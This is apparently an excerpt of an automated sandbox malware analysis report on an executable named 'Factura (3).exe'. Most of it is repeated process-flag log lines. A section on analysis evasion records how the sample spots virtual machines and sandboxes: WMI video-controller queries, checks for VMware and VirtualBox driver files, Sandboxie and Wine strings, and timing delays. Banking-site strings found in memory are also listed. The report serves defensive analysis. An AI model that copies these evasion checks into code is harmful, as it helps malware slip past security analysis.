Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7492, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12112000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLP
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAMEP

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened / queried: C:\WINDOWS\system32\drivers\vmmouse.sys	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened / queried: C:\WINDOWS\system32\drivers\vmhgfs.sys	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened / queried: C:\WINDOWS\system32\drivers\VBoxMouse.sys	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 14_2_0541D1C0 rdtsc

14_2_0541D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4286	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5431	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4241	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1202	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Window / User API: threadDelayed 9839	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\chkdsk.exe	API coverage: 3.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 420	Thread sleep count: 132 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 420	Thread sleep time: -264000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 420	Thread sleep count: 9839 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 420	Thread sleep time: -19678000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe TID: 356	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe TID: 356	Thread sleep time: -40500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe TID: 356	Thread sleep time: -45000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\chkdsk.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\chkdsk.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FFC58 FindFirstFileExW,		6_2_00007FF7340FFC58
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076B5C0 FindFirstFileW,FindNextFileW,FindClose,		23_2_0076B5C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: VMware
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMUP
Source: 2E85-1J297.23.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: powershell.exe, 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: "SOFTWARE\VMware, Inc.\VMware ToolsP
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.17.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: powershell.exe, 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.17.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 2E85-1J297.23.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 2E85-1J297.23.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 2E85-1J297.23.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: Amcache.hve.17.dr	Binary or memory string: vmci.sys
Source: 2E85-1J297.23.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 2E85-1J297.23.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
